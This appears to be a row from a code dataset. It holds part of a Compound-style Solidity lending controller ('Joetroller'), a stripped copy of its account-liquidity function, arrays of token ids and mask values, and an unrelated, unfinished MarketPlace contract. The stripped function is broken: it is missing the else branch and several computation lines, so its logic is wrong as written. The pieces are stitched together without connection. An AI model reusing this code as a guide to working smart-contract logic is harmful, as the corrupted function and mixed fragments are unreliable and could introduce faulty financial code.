// Shh - currently unused
dst;
// Currently the only consideration is whether or not
// the src is allowed to redeem this many tokens
uint256 allowed = redeemAllowedInternal(jToken, src, transferTokens);
if (allowed != uint256(Error.NO_ERROR)) {
return allowed;
}
// Keep the flywheel moving
RewardDistributor(rewardDistributor).updateAndDistributeSupplierRewardsForToken(jToken, src);
RewardDistributor(rewardDistributor).updateAndDistributeSupplierRewardsForToken(jToken, dst);
return uint256(Error.NO_ERROR);
}
/**
* @notice Validates transfer and reverts on rejection. May emit logs.
* @param jToken Asset being transferred
* @param src The account which sources the tokens
* @param dst The account which receives the tokens
* @param transferTokens The number of jTokens to transfer
*/
function transferVerify(
address jToken,
address src,
address dst,
uint256 transferTokens
) external {
// Shh - currently unused
jToken;
src;
dst;
transferTokens;
// Shh - we don't ever want this hook to be marked pure
if (false) {
closeFactorMantissa = closeFactorMantissa;
}
}
/**
* @notice Checks if the account should be allowed to transfer tokens in the given market
* @param jToken The market to verify the transfer against
* @param receiver The account which receives the tokens
* @param amount The amount of the tokens
* @param params The other parameters
*/
function flashloanAllowed(
address jToken,
address receiver,
uint256 amount,
bytes calldata params
) external view returns (bool) {
return !flashloanGuardianPaused[jToken];
}
/**
* @notice Update JToken's version.
* @param jToken Version of the asset being updated
* @param newVersion The new version
*/
function updateJTokenVersion(address jToken, Version newVersion) external {
require(msg.sender == jToken, "only jToken could update its version");
// This function will be called when a new JToken implementation becomes active.
// If a new JToken is newly created, this market is not listed yet. The version of
// this market will be taken care of when calling `_supportMarket`.
if (isMarketListed(jToken)) {
Version oldVersion = markets[jToken].version;
markets[jToken].version = newVersion;
emit NewJTokenVersion(JToken(jToken), oldVersion, newVersion);
}
}
/**
* @notice Check if the account is a credit account
* @param account The account needs to be checked
* @return The account is a credit account or not
*/
function isCreditAccount(address account) public view returns (bool) {
return creditLimits[account] > 0;
}
/*** Liquidity/Liquidation Calculations ***/
/**
* @dev Local vars for avoiding stack-depth limits in calculating account liquidity.
* Note that `jTokenBalance` is the number of jTokens the account owns in the market,
* whereas `borrowBalance` is the amount of underlying that the account has borrowed.
*/
struct AccountLiquidityLocalVars {
uint256 sumCollateral;
uint256 sumBorrowPlusEffects;
uint256 jTokenBalance;
uint256 borrowBalance;
uint256 exchangeRateMantissa;
uint256 oraclePriceMantissa;
Exp collateralFactor;
Exp exchangeRate;
Exp oraclePrice;
Exp tokensToDenom;
}
/**
* @notice Determine the current account liquidity wrt collateral requirements
* @return (possible error code (semi-opaque),
account liquidity in excess of collateral requirements,
* account shortfall below collateral requirements)
*/
function getAccountLiquidity(address account)
public
view
returns (
uint256,
uint256,
uint256
)
{
(Error err, uint256 liquidity, uint256 shortfall) = getHypotheticalAccountLiquidityInternal(
account,
JToken(0),
0,
0
);
return (uint256(err), liquidity, shortfall);
}
/**
* @notice Determine the current account liquidity wrt collateral requirements
* @return (possible error code,
account liquidity in excess of collateral requirements,
* account shortfall below collateral requirements)
*/
function getAccountLiquidityInternal(address account)
internal
view
returns (
Error,
uint256,
uint256
)
{
return getHypotheticalAccountLiquidityInternal(account, JToken(0), 0, 0);
}
/**
* @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed
* @param jTokenModify The market to hypothetically redeem/borrow in
* @param account The account to determine liquidity for
* @param redeemTokens The number of tokens to hypothetically redeem
* @param borrowAmount The amount of underlying to hypothetically borrow
* @return (possible error code (semi-opaque),
hypothetical account liquidity in excess of collateral requirements,
* hypothetical account shortfall below collateral requirements)
*/
function getHypotheticalAccountLiquidity(
address account,
address jTokenModify,
uint256 redeemTokens,
uint256 borrowAmount
)
public
view
returns (
uint256,
uint256,
uint256
)
{
(Error err, uint256 liquidity, uint256 shortfall) = getHypotheticalAccountLiquidityInternal(
account,
JToken(jTokenModify),
redeemTokens,
borrowAmount
);
return (uint256(err), liquidity, shortfall);
}
/**
* @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed
* @param jTokenModify The market to hypothetically redeem/borrow in
* @param account The account to determine liquidity for
* @param redeemTokens The number of tokens to hypothetically redeem
* @param borrowAmount The amount of underlying to hypothetically borrow
* @dev Note that we calculate the exchangeRateStored for each collateral jToken using stored data,
* without calculating accumulated interest.
* @return (possible error code,
hypothetical account liquidity in excess of collateral requirements,
* hypothetical account shortfall below collateral requirements)
*/
function getHypotheticalAccountLiquidityInternal(
address account,
JToken jTokenModify,
uint256 redeemTokens,
uint256 borrowAmount
)
internal
view
returns (
Error,
uint256,
uint256
)
{
// If credit limit is set to MAX, no need to check account liquidity.
if (creditLimits[account] == uint256(-1)) {
return (Error.NO_ERROR, uint256(-1), 0);
}
AccountLiquidityLocalVars memory vars; // Holds all our calculation results
uint256 oErr;
// For each asset the account is in
JToken[] memory assets = accountAssets[account];
for (uint256 i = 0; i < assets.length; i++) {
JToken asset = assets[i];
// Read the balances and exchange rate from the jToken
(oErr, vars.jTokenBalance, vars.borrowBalance, vars.exchangeRateMantissa) = asset.getAccountSnapshot(
account
);
if (oErr != 0) {
// semi-opaque error code, we assume NO_ERROR == 0 is invariant between upgrades
return (Error.SNAPSHOT_ERROR, 0, 0);
}
// Unlike compound protocol, getUnderlyingPrice is relatively expensive because we use ChainLink as our primary price feed.
// If user has no supply / borrow balance on this asset, and user is not redeeming / borrowing this asset, skip it.
if (vars.jTokenBalance == 0 && vars.borrowBalance == 0 && asset != jTokenModify) {
continue;
}
vars.collateralFactor = Exp({mantissa: markets[address(asset)].collateralFactorMantissa});
vars.exchangeRate = Exp({mantissa: vars.exchangeRateMantissa});
// Get the normalized price of the asset
vars.oraclePriceMantissa = oracle.getUnderlyingPrice(asset);
if (vars.oraclePriceMantissa == 0) {
return (Error.PRICE_ERROR, 0, 0);
}
vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa});
// Pre-compute a conversion factor from tokens -> ether (normalized price value)
vars.tokensToDenom = mul_(mul_(vars.collateralFactor, vars.exchangeRate), vars.oraclePrice);
// sumCollateral += tokensToDenom * jTokenBalance
vars.sumCollateral = mul_ScalarTruncateAddUInt(vars.tokensToDenom, vars.jTokenBalance, vars.sumCollateral);
// sumBorrowPlusEffects += oraclePrice * borrowBalance
vars.sumBorrowPlusEffects = mul_ScalarTruncateAddUInt(
vars.oraclePrice,
vars.borrowBalance,
vars.sumBorrowPlusEffects
);
// Calculate effects of interacting with jTokenModify
if (asset == jTokenModify) {
// redeem effect
// sumBorrowPlusEffects += tokensToDenom * redeemTokens
vars.sumBorrowPlusEffects = mul_ScalarTruncateAddUInt(
vars.tokensToDenom,
redeemTokens,
vars.sumBorrowPlusEffects
);
// borrow effect
// sumBorrowPlusEffects += oraclePrice * borrowAmount
vars.sumBorrowPlusEffects = mul_ScalarTruncateAddUInt(
vars.oraclePrice,
borrowAmount,
vars.sumBorrowPlusEffects
);
}
}
// If credit limit is set, no need to consider collateral.
if (creditLimits[account] > 0) {
vars.sumCollateral = creditLimits[account];
}
// These are safe, as the underflow condition is checked first
if (vars.sumCollateral > vars.sumBorrowPlusEffects) {
return (Error.NO_ERROR, vars.sumCollateral - vars.sumBorrowPlusEffects, 0);
} else {
return (Error.NO_ERROR, 0, vars.sumBorrowPlusEffects - vars.sumCollateral);
}
}
/**
* @notice Calculate number of tokens of collateral asset to seize given an underlying amount
* @dev Used in liquidation (called in jToken.liquidateBorrowFresh)
* @param jTokenBorrowed The address of the borrowed jToken
* @param jTokenCollateral The address of the collateral jToken
* @param actualRepayAmount The amount of jTokenBorrowed underlying to convert into jTokenCollateral tokens
* @return (errorCode, number of jTokenCollateral tokens to be seized in a liquidation)
*/
function liquidateCalculateSeizeTokens(
address jTokenBorrowed,
address jTokenCollateral,
uint256 actualRepayAmount
) external view returns (uint256, uint256) {
/* Read oracle prices for borrowed and collateral markets */
uint256 priceBorrowedMantissa = oracle.getUnderlyingPrice(JToken(jTokenBorrowed));
uint256 priceCollateralMantissa = oracle.getUnderlyingPrice(JToken(jTokenCollateral));
if (priceBorrowedMantissa == 0 || priceCollateralMantissa == 0) {
return (uint256(Error.PRICE_ERROR), 0);
}
/*
* Get the exchange rate and calculate the number of collateral tokens to seize:
* seizeAmount = actualRepayAmount * liquidationIncentive * priceBorrowed / priceCollateral
* seizeTokens = seizeAmount / exchangeRate
* = actualRepayAmount * (liquidationIncentive * priceBorrowed) / (priceCollateral * exchangeRate)
*/
uint256 exchangeRateMantissa = JToken(jTokenCollateral).exchangeRateStored(); // Note: reverts on error
Exp memory numerator = mul_(
Exp({mantissa: liquidationIncentiveMantissa}),
Exp({mantissa: priceBorrowedMantissa})
);
Exp memory denominator = mul_(Exp({mantissa: priceCollateralMantissa}), Exp({mantissa: exchangeRateMantissa}));
Exp memory ratio = div_(numerator, denominator);
uint256 seizeTokens = mul_ScalarTruncate(ratio, actualRepayAmount);
return (uint256(Error.NO_ERROR), seizeTokens);
}
/*** Admin Functions ***/
function _setRewardDistributor(address payable newRewardDistributor) public returns (uint256) {
if (msg.sender != admin) {
return uint256(Error.UNAUTHORIZED);
}
(bool success, ) = newRewardDistributor.call.value(0)(abi.encodeWithSignature("initialize()", 0));
if (!success) {
return uint256(Error.REJECTION);
}
address oldRewardDistributor = rewardDistributor;
rewardDistributor = newRewardDistributor;
return uint256(Error.NO_ERROR);
}
/**
* @notice Sets a new price oracle for the joetroller
* @dev Admin function to set a new price oracle
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setPriceOracle(PriceOracle newOracle) public returns (uint256) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PRICE_ORACLE_OWNER_CHECK);
}
// Track the old oracle for the joetroller
PriceOracle oldOracle = oracle;
// Set joetroller's oracle to newOracle
oracle = newOracle;
// Emit NewPriceOracle(oldOracle, newOracle)
emit NewPriceOracle(oldOracle, newOracle);
return uint256(Error.NO_ERROR);
}
/**
* @notice Sets the closeFactor used when liquidating borrows
* @dev Admin function to set closeFactor
* @param newCloseFactorMantissa New close factor, scaled by 1e18
* @return uint 0=success, otherwise a failure. (See ErrorReporter for details)
*/
function _setCloseFactor(uint256 newCloseFactorMantissa) external returns (uint256) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_CLOSE_FACTOR_OWNER_CHECK);
}
uint256 oldCloseFactorMantissa = closeFactorMantissa;
closeFactorMantissa = newCloseFactorMantissa;
emit NewCloseFactor(oldCloseFactorMantissa, closeFactorMantissa);
return uint256(Error.NO_ERROR);
}
/**
* @notice Sets the collateralFactor for a market
* @dev Admin function to set per-market collateralFactor
* @param jToken The market to set the factor on
* @param newCollateralFactorMantissa The new collateral factor, scaled by 1e18
* @return uint 0=success, otherwise a failure. (See ErrorReporter for details)
*/
function _setCollateralFactor(JToken jToken, uint256 newCollateralFactorMantissa) external returns (uint256) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_COLLATERAL_FACTOR_OWNER_CHECK);
}
// Verify market is listed
Market storage market = markets[address(jToken)];
if (!market.isListed) {
return fail(Error.MARKET_NOT_LISTED, FailureInfo.SET_COLLATERAL_FACTOR_NO_EXISTS);
}
Exp memory newCollateralFactorExp = Exp({mantissa: newCollateralFactorMantissa});
// Check collateral factor <= 0.9
Exp memory highLimit = Exp({mantissa: collateralFactorMaxMantissa});
if (lessThanExp(highLimit, newCollateralFactorExp)) {
return fail(Error.INVALID_COLLATERAL_FACTOR, FailureInfo.SET_COLLATERAL_FACTOR_VALIDATION);
}
// If collateral factor != 0, fail if price == 0
if (newCollateralFactorMantissa != 0 && oracle.getUnderlyingPrice(jToken) == 0) {
return fail(Error.PRICE_ERROR, FailureInfo.SET_COLLATERAL_FACTOR_WITHOUT_PRICE);
}
// Set market's collateral factor to new collateral factor, remember old value
uint256 oldCollateralFactorMantissa = market.collateralFactorMantissa;
market.collateralFactorMantissa = newCollateralFactorMantissa;
// Emit event with asset, old collateral factor, and new collateral factor
emit NewCollateralFactor(jToken, oldCollateralFactorMantissa, newCollateralFactorMantissa);
return uint256(Error.NO_ERROR);
}
/**
* @notice Sets liquidationIncentive
* @dev Admin function to set liquidationIncentive
* @param newLiquidationIncentiveMantissa New liquidationIncentive scaled by 1e18
* @return uint 0=success, otherwise a failure. (See ErrorReporter for details)
*/
function _setLiquidationIncentive(uint256 newLiquidationIncentiveMantissa) external returns (uint256) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_LIQUIDATION_INCENTIVE_OWNER_CHECK);
}
// Save current value for use in log
uint256 oldLiquidationIncentiveMantissa = liquidationIncentiveMantissa;
// Set liquidation incentive to new incentive
liquidationIncentiveMantissa = newLiquidationIncentiveMantissa;
// Emit event with old incentive, new incentive
emit NewLiquidationIncentive(oldLiquidationIncentiveMantissa, newLiquidationIncentiveMantissa);
return uint256(Error.NO_ERROR);
}
/**
* @notice Add the market to the markets mapping and set it as listed
* @dev Admin function to set isListed and add support for the market
* @param jToken The address of the market (token) to list
* @param version The version of the market (token)
* @return uint 0=success, otherwise a failure. (See enum Error for details)
*/
function _supportMarket(JToken jToken, Version version) external returns (uint256) {
require(msg.sender == admin, "only admin may support market");
require(!isMarketListed(address(jToken)), "market already listed");
jToken.isJToken(); // Sanity check to make sure its really a JToken
markets[address(jToken)] = Market({isListed: true, collateralFactorMantissa: 0, version: version});
_addMarketInternal(address(jToken));
emit MarketListed(jToken);
return uint256(Error.NO_ERROR);
}
/**
* @notice Remove the market from the markets mapping
* @param jToken The address of the market (token) to delist
*/
function _delistMarket(JToken jToken) external {
require(msg.sender == admin, "only admin may delist market");
require(isMarketListed(address(jToken)), "market not listed");
require(jToken.totalSupply() == 0, "market not empty");
jToken.isJToken(); // Sanity check to make sure its really a JToken
delete markets[address(jToken)];
for (uint256 i = 0; i < allMarkets.length; i++) {
if (allMarkets[i] == jToken) {
allMarkets[i] = allMarkets[allMarkets.length - 1];
delete allMarkets[allMarkets.length - 1];
allMarkets.length--;
break;
}
}
emit MarketDelisted(jToken);
}
function _addMarketInternal(address jToken) internal {
for (uint256 i = 0; i < allMarkets.length; i++) {
require(allMarkets[i] != JToken(jToken), "market already added");
}
allMarkets.push(JToken(jToken));
}
/**
* @notice Admin function to change the Supply Cap Guardian
* @param newSupplyCapGuardian The address of the new Supply Cap Guardian
*/
function _setSupplyCapGuardian(address newSupplyCapGuardian) external {
require(msg.sender == admin, "only admin can set supply cap guardian");
// Save current value for inclusion in log
address oldSupplyCapGuardian = supplyCapGuardian;
// Store supplyCapGuardian with value newSupplyCapGuardian
supplyCapGuardian = newSupplyCapGuardian;
// Emit NewSupplyCapGuardian(OldSupplyCapGuardian, NewSupplyCapGuardian)
emit NewSupplyCapGuardian(oldSupplyCapGuardian, newSupplyCapGuardian);
}
/**
* @notice Set the given supply caps for the given jToken markets. Supplying that brings total supplys to or above supply cap will revert.
* @dev Admin or supplyCapGuardian function to set the supply caps. A supply cap of 0 corresponds to unlimited supplying. If the total borrows
* already exceeded the cap, it will prevent anyone to borrow.
* @param jTokens The addresses of the markets (tokens) to change the supply caps for
* @param newSupplyCaps The new supply cap values in underlying to be set. A value of 0 corresponds to unlimited supplying.
*/
function _setMarketSupplyCaps(JToken[] calldata jTokens, uint256[] calldata newSupplyCaps) external {
require(
msg.sender == admin || msg.sender == supplyCapGuardian,
"only admin or supply cap guardian can set supply caps"
);
uint256 numMarkets = jTokens.length;
uint256 numSupplyCaps = newSupplyCaps.length;
require(numMarkets != 0 && numMarkets == numSupplyCaps, "invalid input");
for (uint256 i = 0; i < numMarkets; i++) {
supplyCaps[address(jTokens[i])] = newSupplyCaps[i];
emit NewSupplyCap(jTokens[i], newSupplyCaps[i]);
}
}
/**
* @notice Set the given borrow caps for the given jToken markets. Borrowing that brings total borrows to or above borrow cap will revert.
* @dev Admin or borrowCapGuardian function to set the borrow caps. A borrow cap of 0 corresponds to unlimited borrowing. If the total supplies
* already exceeded the cap, it will prevent anyone to mint.
* @param jTokens The addresses of the markets (tokens) to change the borrow caps for
* @param newBorrowCaps The new borrow cap values in underlying to be set. A value of 0 corresponds to unlimited borrowing.
*/
function _setMarketBorrowCaps(JToken[] calldata jTokens, uint256[] calldata newBorrowCaps) external {
require(
msg.sender == admin || msg.sender == borrowCapGuardian,
"only admin or borrow cap guardian can set borrow caps"
);
uint256 numMarkets = jTokens.length;
uint256 numBorrowCaps = newBorrowCaps.length;
require(numMarkets != 0 && numMarkets == numBorrowCaps, "invalid input");
for (uint256 i = 0; i < numMarkets; i++) {
borrowCaps[address(jTokens[i])] = newBorrowCaps[i];
emit NewBorrowCap(jTokens[i], newBorrowCaps[i]);
}
}
/**
* @notice Admin function to change the Borrow Cap Guardian
* @param newBorrowCapGuardian The address of the new Borrow Cap Guardian
*/
function _setBorrowCapGuardian(address newBorrowCapGuardian) external {
require(msg.sender == admin, "only admin can set borrow cap guardian");
// Save current value for inclusion in log
address oldBorrowCapGuardian = borrowCapGuardian;
// Store borrowCapGuardian with value newBorrowCapGuardian
borrowCapGuardian = newBorrowCapGuardian;
// Emit NewBorrowCapGuardian(OldBorrowCapGuardian, NewBorrowCapGuardian)
emit NewBorrowCapGuardian(oldBorrowCapGuardian, newBorrowCapGuardian);
}
/**
* @notice Admin function to change the Pause Guardian
* @param newPauseGuardian The address of the new Pause Guardian
* @return uint 0=success, otherwise a failure. (See enum Error for details)
*/
function _setPauseGuardian(address newPauseGuardian) public returns (uint256) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PAUSE_GUARDIAN_OWNER_CHECK);
}
// Save current value for inclusion in log
address oldPauseGuardian = pauseGuardian;
// Store pauseGuardian with value newPauseGuardian
pauseGuardian = newPauseGuardian;
// Emit NewPauseGuardian(OldPauseGuardian, NewPauseGuardian)
emit NewPauseGuardian(oldPauseGuardian, pauseGuardian);
return uint256(Error.NO_ERROR);
}
function _setMintPaused(JToken jToken, bool state) public returns (bool) {
require(isMarketListed(address(jToken)), "cannot pause a market that is not listed");
require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause");
require(msg.sender == admin || state == true, "only admin can unpause");
mintGuardianPaused[address(jToken)] = state;
emit ActionPaused(jToken, "Mint", state);
return state;
}
function _setBorrowPaused(JToken jToken, bool state) public returns (bool) {
require(isMarketListed(address(jToken)), "cannot pause a market that is not listed");
require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause");
require(msg.sender == admin || state == true, "only admin can unpause");
borrowGuardianPaused[address(jToken)] = state;
emit ActionPaused(jToken, "Borrow", state);
return state;
}
function _setFlashloanPaused(JToken jToken, bool state) public returns (bool) {
require(isMarketListed(address(jToken)), "cannot pause a market that is not listed");
require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause");
require(msg.sender == admin || state == true, "only admin can unpause");
flashloanGuardianPaused[address(jToken)] = state;
emit ActionPaused(jToken, "Flashloan", state);
return state;
}
function _setTransferPaused(bool state) public returns (bool) {
require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause");
require(msg.sender == admin || state == true, "only admin can unpause");
transferGuardianPaused = state;
emit ActionPaused("Transfer", state);
return state;
}
function _setSeizePaused(bool state) public returns (bool) {
require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause");
require(msg.sender == admin || state == true, "only admin can unpause");
seizeGuardianPaused = state;
emit ActionPaused("Seize", state);
return state;
}
function _become(Unitroller unitroller) public {
require(msg.sender == unitroller.admin(), "only unitroller admin can change brains");
require(unitroller._acceptImplementation() == 0, "change not authorized");
}
/**
* @notice Sets whitelisted protocol's credit limit
* @param protocol The address of the protocol
* @param creditLimit The credit limit
*/
function _setCreditLimit(address protocol, uint256 creditLimit) public {
require(msg.sender == admin, "only admin can set protocol credit limit");
creditLimits[protocol] = creditLimit;
emit CreditLimitChanged(protocol, creditLimit);
}
/**
* @notice Checks caller is admin, or this contract is becoming the new implementation
*/
function adminOrInitializing() internal view returns (bool) {
return msg.sender == admin || msg.sender == joetrollerImplementation;
}
/*** Reward distribution functions ***/
/**
* @notice Claim all the JOE/AVAX accrued by holder in all markets
* @param holder The address to claim JOE/AVAX for
*/
function claimReward(uint8 rewardType, address payable holder) public {
RewardDistributor(rewardDistributor).claimReward(rewardType, holder);
}
/**
* @notice Claim all the JOE/AVAX accrued by holder in the specified markets
* @param holder The address to claim JOE/AVAX for
* @param jTokens The list of markets to claim JOE/AVAX in
*/
function claimReward(
uint8 rewardType,
address payable holder,
JToken[] memory jTokens
) public {
RewardDistributor(rewardDistributor).claimReward(rewardType, holder, jTokens);
}
/**
* @notice Claim all JOE/AVAX accrued by the holders
* @param rewardType 0 = JOE, 1 = AVAX
* @param holders The addresses to claim JOE/AVAX for
* @param jTokens The list of markets to claim JOE/AVAX in
* @param borrowers Whether or not to claim JOE/AVAX earned by borrowing
* @param suppliers Whether or not to claim JOE/AVAX earned by supplying
*/
function claimReward(
uint8 rewardType,
address payable[] memory holders,
JToken[] memory jTokens,
bool borrowers,
bool suppliers
) public payable {
RewardDistributor(rewardDistributor).claimReward(rewardType, holders, jTokens, borrowers, suppliers);
}
}
| hypothetical account shortfall below collateral requirements)/ If credit limit is set to MAX, no need to check account liquidity. Read the balances and exchange rate from the jToken semi-opaque error code, we assume NO_ERROR == 0 is invariant between upgrades Unlike compound protocol, getUnderlyingPrice is relatively expensive because we use ChainLink as our primary price feed. If user has no supply / borrow balance on this asset, and user is not redeeming / borrowing this asset, skip it. Calculate effects of interacting with jTokenModify redeem effect sumBorrowPlusEffects += tokensToDenom * redeemTokens borrow effect sumBorrowPlusEffects += oraclePrice * borrowAmount If credit limit is set, no need to consider collateral. These are safe, as the underflow condition is checked first | function getHypotheticalAccountLiquidityInternal(
address account,
JToken jTokenModify,
uint256 redeemTokens,
uint256 borrowAmount
)
internal
view
returns (
Error,
uint256,
uint256
)
{
if (creditLimits[account] == uint256(-1)) {
return (Error.NO_ERROR, uint256(-1), 0);
}
uint256 oErr;
for (uint256 i = 0; i < assets.length; i++) {
JToken asset = assets[i];
(oErr, vars.jTokenBalance, vars.borrowBalance, vars.exchangeRateMantissa) = asset.getAccountSnapshot(
account
);
if (oErr != 0) {
return (Error.SNAPSHOT_ERROR, 0, 0);
}
if (vars.jTokenBalance == 0 && vars.borrowBalance == 0 && asset != jTokenModify) {
continue;
}
if (vars.oraclePriceMantissa == 0) {
return (Error.PRICE_ERROR, 0, 0);
}
vars.oraclePrice,
vars.borrowBalance,
vars.sumBorrowPlusEffects
);
if (asset == jTokenModify) {
vars.sumBorrowPlusEffects = mul_ScalarTruncateAddUInt(
vars.tokensToDenom,
redeemTokens,
vars.sumBorrowPlusEffects
);
vars.sumBorrowPlusEffects = mul_ScalarTruncateAddUInt(
vars.oraclePrice,
borrowAmount,
vars.sumBorrowPlusEffects
);
}
}
if (creditLimits[account] > 0) {
vars.sumCollateral = creditLimits[account];
}
if (vars.sumCollateral > vars.sumBorrowPlusEffects) {
return (Error.NO_ERROR, vars.sumCollateral - vars.sumBorrowPlusEffects, 0);
return (Error.NO_ERROR, 0, vars.sumBorrowPlusEffects - vars.sumCollateral);
}
}
| 1,810,313 | [
1,
76,
879,
10370,
278,
1706,
2236,
3025,
25602,
5712,
4508,
2045,
287,
8433,
13176,
971,
12896,
1800,
353,
444,
358,
4552,
16,
1158,
1608,
358,
866,
2236,
4501,
372,
24237,
18,
2720,
326,
324,
26488,
471,
7829,
4993,
628,
326,
525,
1345,
23161,
17,
556,
14886,
555,
981,
16,
732,
6750,
3741,
67,
3589,
422,
374,
353,
22514,
3086,
28844,
25448,
11360,
1771,
16,
10833,
765,
6291,
5147,
353,
1279,
17526,
19326,
2724,
732,
999,
7824,
2098,
487,
3134,
3354,
6205,
4746,
18,
971,
729,
711,
1158,
14467,
342,
29759,
11013,
603,
333,
3310,
16,
471,
729,
353,
486,
283,
24903,
310,
342,
29759,
310,
333,
3310,
16,
2488,
518,
18,
9029,
16605,
434,
16592,
310,
598,
525,
1345,
11047,
283,
24903,
5426,
2142,
38,
15318,
13207,
29013,
1011,
2430,
774,
8517,
362,
225,
283,
24903,
5157,
29759,
5426,
2142,
38,
15318,
13207,
29013,
1011,
20865,
5147,
225,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
565,
445,
7628,
879,
10370,
278,
1706,
3032,
48,
18988,
24237,
3061,
12,
203,
3639,
1758,
2236,
16,
203,
3639,
804,
1345,
525,
1345,
11047,
16,
203,
3639,
2254,
5034,
283,
24903,
5157,
16,
203,
3639,
2254,
5034,
29759,
6275,
203,
565,
262,
203,
3639,
2713,
203,
3639,
1476,
203,
3639,
1135,
261,
203,
5411,
1068,
16,
203,
5411,
2254,
5034,
16,
203,
5411,
2254,
5034,
203,
3639,
262,
203,
565,
288,
203,
3639,
309,
261,
20688,
12768,
63,
4631,
65,
422,
2254,
5034,
19236,
21,
3719,
288,
203,
5411,
327,
261,
668,
18,
3417,
67,
3589,
16,
2254,
5034,
19236,
21,
3631,
374,
1769,
203,
3639,
289,
203,
203,
3639,
2254,
5034,
320,
2524,
31,
203,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
7176,
18,
2469,
31,
277,
27245,
288,
203,
5411,
804,
1345,
3310,
273,
7176,
63,
77,
15533,
203,
203,
5411,
261,
83,
2524,
16,
4153,
18,
78,
1345,
13937,
16,
4153,
18,
70,
15318,
13937,
16,
4153,
18,
16641,
4727,
49,
970,
21269,
13,
273,
3310,
18,
588,
3032,
4568,
12,
203,
7734,
2236,
203,
5411,
11272,
203,
5411,
309,
261,
83,
2524,
480,
374,
13,
288,
203,
7734,
327,
261,
668,
18,
13653,
31667,
67,
3589,
16,
374,
16,
374,
1769,
203,
5411,
289,
203,
203,
5411,
309,
261,
4699,
18,
78,
1345,
13937,
422,
374,
597,
4153,
18,
70,
15318,
13937,
422,
374,
597,
3310,
480,
525,
1345,
11047,
13,
288,
203,
7734,
1324,
31,
203,
5411,
289,
203,
203,
203,
5411,
309,
2
] |
pragma solidity ^0.4.22;
import "./Store.sol";
import "./library/Utils.sol";
import "./EIP20.sol";
import "./library/SafeMath.sol";
/**
* There are a list of stores on a central marketplace where shoppers can purchase goods posted by the store owners.
* The central marketplace is managed by a group of administrators. Admins allow store owners to add stores
* to the marketplace. Store owners can manage their store’s inventory and funds. Shoppers can visit stores and purchase
* goods that are in stock using cryptocurrency.
*
*/
contract MarketPlace {
using SafeMath for uint256;
address superAdmin;
address[] public adminUsers;
address[] public storeOwners;
uint private nextStoreId;
EIP20 private eip20Token;
// mapping of stores of a given store owner
mapping (address => address[]) public storeFrontMap;
/**
* Initialize state variables, specifically, the Super Administrator!
* Also, add that address in the Admin list.
*/
constructor() public {
superAdmin = msg.sender;
adminUsers.push(msg.sender);
nextStoreId = 1;
eip20Token = new EIP20();
}
event NewStore (
string storeName,
string storeDescription,
address storeOwner,
address storeAddress
);
event AccessingStore(Store currentStore);
/**
* Only SuperAdmin shall be able to create an Admin user
*/
modifier onlySuperAdmin {
require( msg.sender == superAdmin, "Only Super Administrator can invoke this function.");
_;
}
/**
* Only Admin shall be allowed to create a store
*/
modifier onlyAdmin {
require( Utils.existInTheArray(adminUsers, msg.sender), "Only an Administrator can invoke this function.");
_;
}
/**
* Only store owners shall be allowed to add stores.
*
*/
modifier onlyStoreOwner {
require( Utils.existInTheArray(storeOwners, msg.sender), "Only an Administrator can invoke this function.");
_;
}
/**
* A super administrator can create one or more administrator, who will have same access, except that
* they cannot create another administrator
*/
function createAdminUser(address newAdminUser) public onlySuperAdmin returns(address){
require(!Utils.existInTheArray(adminUsers, newAdminUser), "The address is already in the Admin group!");
adminUsers.push(newAdminUser);
return newAdminUser;
}
/**
* This function shall return all the admin address in the market place
*/
function getAdminUsers() public view returns(address[]) {
return adminUsers;
}
/**
* This function verifies if an address has the following accesses or not
* - Super Admin
* - Admins
* - Store Owner
*/
function checkAccess(address addressToVerify) view public returns(bool, bool, bool) {
bool isAdmin = Utils.existInTheArray(adminUsers, addressToVerify);
bool isStoreOwner = Utils.existInTheArray(storeOwners, addressToVerify);
bool isSuperAdmin = false;
if ( addressToVerify == superAdmin ) {
isSuperAdmin = true;
}
return (isSuperAdmin, isAdmin, isStoreOwner);
}
/**
* Any Admin shall be able to add a store owner.
* Of course, we need to make sure that a given address is added only once.
*/
function createStoreOwner(address newStoreOwnerAddress) public onlyAdmin returns(bool){
require( !Utils.existInTheArray(storeOwners, newStoreOwnerAddress), "The store owner with the same address already exist!");
storeOwners.push(newStoreOwnerAddress);
return true;
}
/**
* This function shall return all the store owners address in the market place
*/
function getStoreOwners() public view returns(address[]) {
return storeOwners;
}
/**
* A store owner shall be able to create one or more stores.
* The created store will be associated with the store owner using storeFrontMap, where the store owner's
* address is a key and the value is a map of storeId and Store.
*
*/
